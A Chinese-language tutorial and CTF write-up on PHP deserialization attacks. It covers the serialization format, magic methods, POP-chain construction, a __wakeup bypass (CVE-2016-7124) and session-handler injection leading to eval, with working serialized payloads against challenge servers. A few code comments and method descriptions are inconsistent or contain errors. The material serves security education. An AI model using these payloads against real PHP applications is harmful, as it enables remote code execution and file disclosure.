0x01 基礎知識
-
PHP序列化:php爲了方便進行數據的傳輸,允許把複雜的數據結構,壓縮到一個字符串中,使用
serialize()
函數。 -
PHP反序列化:將被壓縮爲字符串的複雜數據結構,重新恢復,使用
unserialize()
函數。 -
PHP反序列化漏洞:如果代碼中使用了反序列化
unserialize()
函數,並且參數可控,且程序沒有對用戶輸入的反序列化字符串進行校驗,那麼可以通過在本地構造序列化字符串,同時利用PHP中的一系列魔術方法來達到想要實現的目的,如控制對象內部的變量甚至是函數。
0x02 序列化格式
例子如下:
<?php
class A {
public $x;
private $y;
public function __construct($x, $y)
{
$this->x = $x;
$this->y = $y;
}
}
$number = 10;
$str = 'Lethe';
$bool = true;
$null = NULL;
$arr = array('a' => 1, 'b' => 2);
$a = new A('lethe', true);
var_dump(serialize($number)); //string(5) "i:10;"
var_dump(serialize($str)); //string(12) "s:5:"Lethe";"
var_dump(serialize($bool)); //string(4) "b:1;"
var_dump(serialize($null)); //string(2) "N;"
var_dump(serialize($arr)); //string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
var_dump(serialize($a)); //string(73) "O:1:"A":4:{s:4:"data";N;s:7:" A pass";N;s:1:"x";s:5:"lethe";s:1:"y";b:1;}"
?>
輸出結果如下:
string(5) "i:10;"
string(12) "s:5:"Lethe";"
string(4) "b:1;"
string(2) "N;"
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
string(47) "O:1:"A":2:{s:1:"x";s:5:"lethe";s:4:" A y";b:1;}"
可以看到不同的php數據結構序列化後結構如下:
所以序列化對於不同類型得到的字符串格式爲:
- String :
s:字符串長度:"字符串值";
- Integer :
i:數值;
- Boolean :
b:value;(value爲1或0)
- Null :
N;
- Array :
a:數組大小:{鍵的描述;值的描述;鍵的描述;值的描述; ...} (描述值同String或Int型的序列化格式)
- Object :
O:類名長度:"類名":屬性數量:{屬性類型:屬性名長度:屬性名;屬性值類型:屬性值長度:屬性值; ...}
除此之外,還要注意類內不同限定的屬性及方法序列化後格式也不同,如下:
<?php
class A
{
private $a="private";
}
class B
{
protected $b="protected";
}
class C
{
public $c="public";
}
$aa = new A();
$bb = new B();
$cc = new C();
echo serialize($aa);
echo serialize($bb);
echo serialize($cc);
?>
輸出如下:
O:1:"A":1:{s:4:" A a";s:7:"private";}
O:1:"B":1:{s:4:" * b";s:9:"protected";}
O:1:"C":1:{s:1:"c";s:6:"public";}
0x03 魔術方法
(1)PHP16個魔術方法
PHP中把以雙下劃線__開頭的方法稱爲魔術方法(Magic methods),這些方法在達到某些條件時將會自動被調用:
-
__construct(),類的構造函數,:當一個類被創建時自動調用
-
__destruct(),類的析構函數,當一個類被銷燬時自動調用
-
__sleep(),執行serialize()進行序列化時,先會調用這個函數
-
__wakeup(),執行unserialize()進行反序列化時,先會調用這個函數
-
__toString(),當把一個類當作函數使用時自動調用
-
__invoke(),當把一個類當作函數使用時自動調用
-
__call(),在對象中調用一個不可訪問方法時調用
-
__callStatic(),用靜態方式中調用一個不可訪問方法時調用
-
__get(),獲得一個類的成員變量時調用
-
__set(),設置一個類的成員變量時調用
-
__isset(),當對不可訪問屬性調用isset()或empty()時調用
-
__unset(),當對不可訪問屬性調用unset()時被調用。
-
__set_state(),調用var_export()導出類時,此靜態方法會被調用。
-
__clone(),當對象複製完成時調用
-
__autoload(),嘗試加載未定義的類
-
__debugInfo(),打印所需調試信息
具體調用情況可以參考:https://segmentfault.com/a/1190000007250604#articleHeader4
其實在反序列化漏洞中經常利用的有:__construct()
,__destruct()
,__sleep()
,__wakeup()
,__toString()
,__invoke()
,__call()
這幾個,所以下面針對這幾個作具體說明。
(2)__construct()調用方式
在每個類中都有一個構造方法,如果沒有顯示地聲明它,那麼類中都會默認存在一個沒有參數且內容爲空的構造方法。
<?php
class A
{
function __construct()
{
echo "This is a construct function";
//...
}
}
$a = new A();
?>
運行結果:
This is a construct function
(3)__destruct()調用方式
在每個類中都有一個析構方法,如果沒有顯示地聲明它,那麼類中都會默認存在一個沒有參數且內容爲空的析構方法。
<?php
class A
{
function __construct()
{
echo "This is a construct function";
//...
}
function __destruct()
{
echo "This is a destruct function";
//...
}
}
$a = new A();
?>
運行結果:
This is a construct function
This is a destruct function
(4)__sleep()調用方式
-
serialize()
函數會檢查類中是否存在一個魔術方法__sleep()
;如果存在,則該方法會優先被調用,然後才執行序列化操作。 -
此功能可以用於清理對象,並返回一個包含對象中所有應被序列化的變量名稱的數組。
-
如果該方法未返回任何內容,則 NULL 被序列化,併產生一個 E_NOTICE 級別的錯誤。
<?php
class A
{
private $test;
public function __construct($test)
{
$this->test = $test;
}
public function __sleep()
{
echo "This is a sleep function";
// ...
return array('test'); // 這裏必須返回一個數值,裏邊的元素表示返回的屬性名稱
}
}
$a = new A("Lethe");
echo serialize($a);
?>
運行結果:
This is a sleep function
O:1:"A":1:{s:7:" A test";s:5:"Lethe";}
(5)__wakeup()調用方式
unserialize()
會檢查是否存在一個 __wakeup()
方法。如果存在,則會先調用 __wakeup
方法,預先準備對象需要的資源。
<?php
class A
{
private $test;
public function __construct($test)
{
$this->test = $test;
}
public function __sleep()
{
echo "This is a sleep function";
// ....
return array('test'); // 這裏必須返回一個數值,裏邊的元素表示返回的屬性名稱
}
public function __wakeup()
{
echo "This is a wakeup function";
// ....
// 這裏不需要返回數組
}
}
$a = new A("Lethe");
$b = serialize($a); //O:1:"A":1:{s:7:" A test";s:5:"Lethe";}
$c = unserialize($b); //unserialize之前先調用了__wakeup
?>
運行結果:
This is a sleep function
This is a wakeup function
(6)__toString()調用方式
-
__toString()
方法用於一個類被當成字符串時應怎樣迴應。例如echo $obj;
應時該顯示些什麼,即調用其函數內容。 -
__toString()
方法必須返回一個字符串,否則將發出一條E_RECOVERABLE_ERROR
級別的致命錯誤。 -
不能在
__toString()
方法中拋出異常。
<?php
class A
{
private $test;
public function __construct($test)
{
$this->test = $test;
}
function __toString()
{
$str = "This is a toString function";
//...
return $str;
}
}
$a = new A("Lethe");
echo $a;
?>
運行結果:
This is a toString function
(7)__invoke()調用方式
-
當嘗試以調用函數的方式調用一個對象時,__invoke() 方法會被自動調用,即
$obj = new class(); $obj();
時該做什麼。 -
本特性只在 PHP 5.3.0 及以上版本有效。
<?php
class A
{
private $test;
public function __construct($test)
{
$this->test = $test;
}
function __invoke()
{
echo = "This is a invoke function";
//...
}
}
$a = new A("Lethe");
$a(); //$a是一個對象,但卻用$a()調用方法的方式來調用它
?>
(8)__call()調用方式
__call()
方法在調用的方法不存在時會自動調用,程序仍會繼續執行下去。- 該方法有兩個參數,第一個參數
$function_name
會自動接收不存在的方法名,第二個$arguments
則以數組的方式接收不存在方法的多個參數。 - 格式
function __call(string $function_name, array $arguments){ //... }
<?php
class A
{
private $test;
public function __construct($test)
{
$this->test = $test;
}
function __call($funName, $arguments)
{
echo "你所調用的函數:" . $funName . "(參數:" ; // 輸出調用不存在的方法名
print_r($arguments); // 輸出調用不存在的方法時的參數列表
echo ")不存在!<br>\n"; // 結束換行
}
}
$a = new A("Lethe");
$a->test('no','this','function'); //可以看到A類中並沒有test()方法
?>
運行結果:
你所調用的函數:test(參數:Array
(
[0] => no
[1] => this
[2] => function
)
)不存在!<br>
0x04 反序列化漏洞分析
說了這麼多,下面就通過幾個例子看看到底如何利用php反序列化進行攻擊。
例1:全面考察的一題
(1)題目
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."flag{Here_1s_y0u_fl4g}";
}
}
$a = $_GET['string'];
unserialize($a);
?>
(2)思路:
- 要想獲得輸出flag,那麼我們肯定要想辦法調用GetFlag類的裏的
get_flag()
方法。 - 在string1類我們可以看到,只要把
$str1
實例化爲GetFlag類的對象,然後調用想辦法調用__toString()
方法即可,那就找有沒有地方把對象當作字符串了。 - 往上看,func類的
__invoke()
方法中有用.
來進行字符串拼接的代碼,那麼只要把$mod1
實例化爲string類的對象,然後再調用該__invoke()
方法即可,那就找有沒有地方把對象當作函數來調用了。 - 發現在funct類的
__call()
中有$s1();
可以利用,只需要把$mod1
實例化爲func類的對象,然後再調用該__call()
方法,那就找哪裏調用了未聲明的函數。 - 再
Call類
中的test1()
方法調用了不存在的test2()
方法,所以只需要把$mod1
實例化爲funct類的對象,然後再調用該test1()
方法。 - 看到在start_gg類中的
__destruct()
方法中正好調用了test1()
方法,那麼只要$mod1
實例化爲Call類的對象即可。 - 想要調用start_gg類中的
__destruct()
方法,只有實例化一個它的對象即可,這個對象在銷燬時會自動調用__destruct()
函數。 - 如何在每個類中實例化另一個類呢?可以利用類的構造函數,只要這個類被實例化,構造函數就自動實例化了你所需要的那個類。
(3)解答
思路清楚後就很容易了,腳本如下:
<?php
class start_gg
{
public $mod1;
public function __construct()
{
$this->mod1 = new Call();
}
}
class Call
{
public $mod1;
public function __construct()
{
$this->mod1 = new funct();
}
}
class funct
{
public $mod1;
public function __construct()
{
$this->mod1 = new func();
}
}
class func
{
public $mod1;
public function __construct()
{
$this->mod1 = new string1();
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1 = new GetFlag();
}
}
class GetFlag {}
$a = new start_gg();
echo serialize($a);
?>
輸出結果:
O:8:"start_gg":1:{s:4:"mod1";O:4:"Call":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}}
題目是用Get傳參進去,我這裏直接將上述構造好的序列化字符串傳進去,成功輸出flag:
例2:第十二屆全國大學生信息安全競賽 JustSoso
(1)題目
本題要先用文件包含得到源碼index.php
和hint.php
,在這裏我就只講關於反序列化的部分了。
index.php
包含了hint.php
,其中有$payload = unserialize($payload);
進行了反序列化,而$payload
是我們可控的參數。
hint.php
源碼如下:
//hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
(2)思路
- 要想獲取flag,明顯要利用Flag類中
getFlag()
方法的highlight_file()
函數將flag打印出來,因此需要將$this->file
參數賦值爲flag.php
,所以就先找哪裏調用了getFlag()
方法。 - 發現在Handle類的
__destruct()
方法中調用了,所以只需要將$handle
實例化爲Flag類的對象,然後創建Handle
類的對象就行了,該對象銷燬時就會自動調用__destruct()
。
這樣調用的思路就清楚了,但是和例1不同的是,這裏還有兩個地方需要繞過。
① 在Handle類的__wakeup()
方法中,使用了get_object_vars($this)
進行迭代來將類中的所有屬性都賦值爲null,這就意味着無論我們怎麼構造,只要到unserialize()
那裏就會調用__wakeup()
把屬性都給清空,這樣肯定就不會成功了。
這裏需要通過CVE-2016-7124來繞過,即“序列化字符串中表示對象屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行”。
前面我們介紹了序列化的格式,所以只需要在序列化字符串構造完成後,將屬性的個數修改的比實際大就可以了。
② 在你終於成功調用到了getFlag()
方法後,還必須滿足$this->token === $this->token_flag
的驗證,而
token_flag
是每次隨機生成的,怎麼樣才能使$token
和它相等呢?
其實我們可以在構造的時候把$token
聲明爲$token_flag
的引用,如果不知道什麼是引用,得好好補一下編程知識了,這樣實際上$token
與$token_flag
就是同一個東西了,當然可以繞過驗證。
(3)解答
構造腳本如下:
<?php
class Handle{
private $handle;
public function __construct($handle) {
$this->handle = $handle;
$this->handle = new Flag($handle); //將handle聲明爲Flag類的對象,並將$handle作爲參數傳入
$this->handle->token =& $this->handle->token_flag; //將token聲明爲token_flag的引用
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
}
}
$a = new Handle('flag.php');
echo serialize($a);
?>
輸出結果:
O:6:"Handle":1:{s:14:" Handle handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
當然要作爲此題的payload,別忘了前面說的還要把序列化串中屬性的個數由1改爲2來繞過__wakeup
的執行。
0x05 PHP SESSION反序列化
除了上面說的,在文件裏面不嚴謹的使用了unserialize()
之外,反序列化還有一種利用方式,即SESSION反序列化。
(1) SESSION反序列化
PHP在存儲和讀取session時,都會有一個序列化和反序列化的過程,同時反序列化中也會調用一些魔術方法。
PHP 內置了多種處理器用於存取 $_SESSION
數據,都會對數據進行序列化和反序列化,這幾種處理器如下:
處理器 | 對應的存儲格式 |
---|---|
php | 鍵名 + 豎線 + 經過 serialize() 函數反序列處理的值 |
php_binary | 鍵名的長度對應的ASCII字符 + 鍵名 + 經過 serialize() 函數反序列處理的值 |
php_serialize (php>=5.5.4) | 經過 serialize() 函數反序列處理的數組 |
即若設置如下Session:
<?php
session_start();
$name = $_GET['name'];
$passwd = $_GET['passwd'];
$_SESSION['name'] = $name;
$_SESSION['passwd'] = $passwd;
?>
當傳入name=lethe&passwd=123
時,不同處理器對應的序列化字符串:結果如下:
處理器 | 對應存儲的序列化字符串 |
---|---|
php | name|s:5:“lethe”;passwd|s:3:“123”; |
php_binary | names:5:“lethe”;passwds:3:“123”; |
php_serialize (php>=5.5.4) | a:2:{s:4:“name”;s:5:“lethe”;s:6:“passwd”;s:3:“123”;} |
問題就在,如果 PHP 在反序列化和序列化Session時使用不同的處理器,可能會導致數據無法正確反序列化,經過構造甚至可以執行代碼。
例子如下,有兩個頁面:
//test1.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class A {
public $test;
function __construct()
{
eval($this->test);
}
}
//test2.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = $_GET['name'];
?>
可以看到這兩個頁面分別用了不同的處理器來處理Session,我們就可以利用php_serialize
和php
的差異來進行構造。
我們先進行構造,腳本如下:
<?php
class A {
public $test;
function __construct()
{
eval($this->test);
}
}
$a = new A();
$a->test = 'phpinfo();';
echo serialize($a);
//output: O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
?>
首先,我們訪問test2.php
,我們在上述payload前加上|
,並傳入?name=|O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
。
這樣由php_serialize
處理器序列化存入的session實際上爲:
a:1:{s:4:"name";s:42:"|O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}";}
但是在test1.php
中是使用的php
處理器,由它們的區別我們可以知道:在被php
處理器反序列化的時候,會以|
來分割爲鍵值對。
這樣當帶着上面上述Session去訪問test1.php
時,|
後面的值,也就是我們構造的序列化字符串就會被成功的反序列化並執行了。
(2)CTF實例
題目連接:http://web.jarvisoj.com:32784
給了源碼如下:
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
可以看到這裏用了ini_set('session.serialize_handler', 'php');
,那麼我們只要傳入構造好的session,就可以進行反序列化攻擊了。
根據題目,先看一下phpinfo()
的信息,發現session.upload_progress.enabled
是on的,而session.upload_progress.cleanup所以可以通過上傳文件,從而在session文件中寫入數據。
(3)關於session.upload_progress(php>=5.4)
在php.ini有以下幾個默認選項:
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
-
enabled=on表示upload_progress功能開始,也意味着當瀏覽器向服務器上傳一個文件時,php將會把此次文件上傳的詳細信息(如上傳時間、上傳進度等)存儲在session當中 ;
-
cleanup=on表示當文件上傳結束後,php將會立即清空對應session文件中的內容,這個選項非常重要;
-
name當它出現在表單中,php將會報告上傳進度,最大的好處是,它的值可控;
-
prefix+name將表示爲session中的鍵名
關於這方面的利用,可以參考:https://www.freebuf.com/vuls/202819.html
所以這裏我們先構造表單,這裏的action只要是服務器上代碼中有session_start()的php文件即可:
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
然後利用如下腳本生成序列化字符串(這裏system等系統函數好像使用不了,可能權限不夠):
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = "print_r(scandir(dirname(__FILE__)));";
}
}
$a = new OowoO();
echo serialize($a);
// Output: O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
?>
利用寫好的表單隨意上傳文件,然後抓包,修改文件內容,因爲我提交的是index頁面所以直接看到結果:
知道了flag的文件名,之後修改payload腳本的就可以代碼執行了。
下面先讀一下當前文件的目錄位置:
最後讀出flag即可: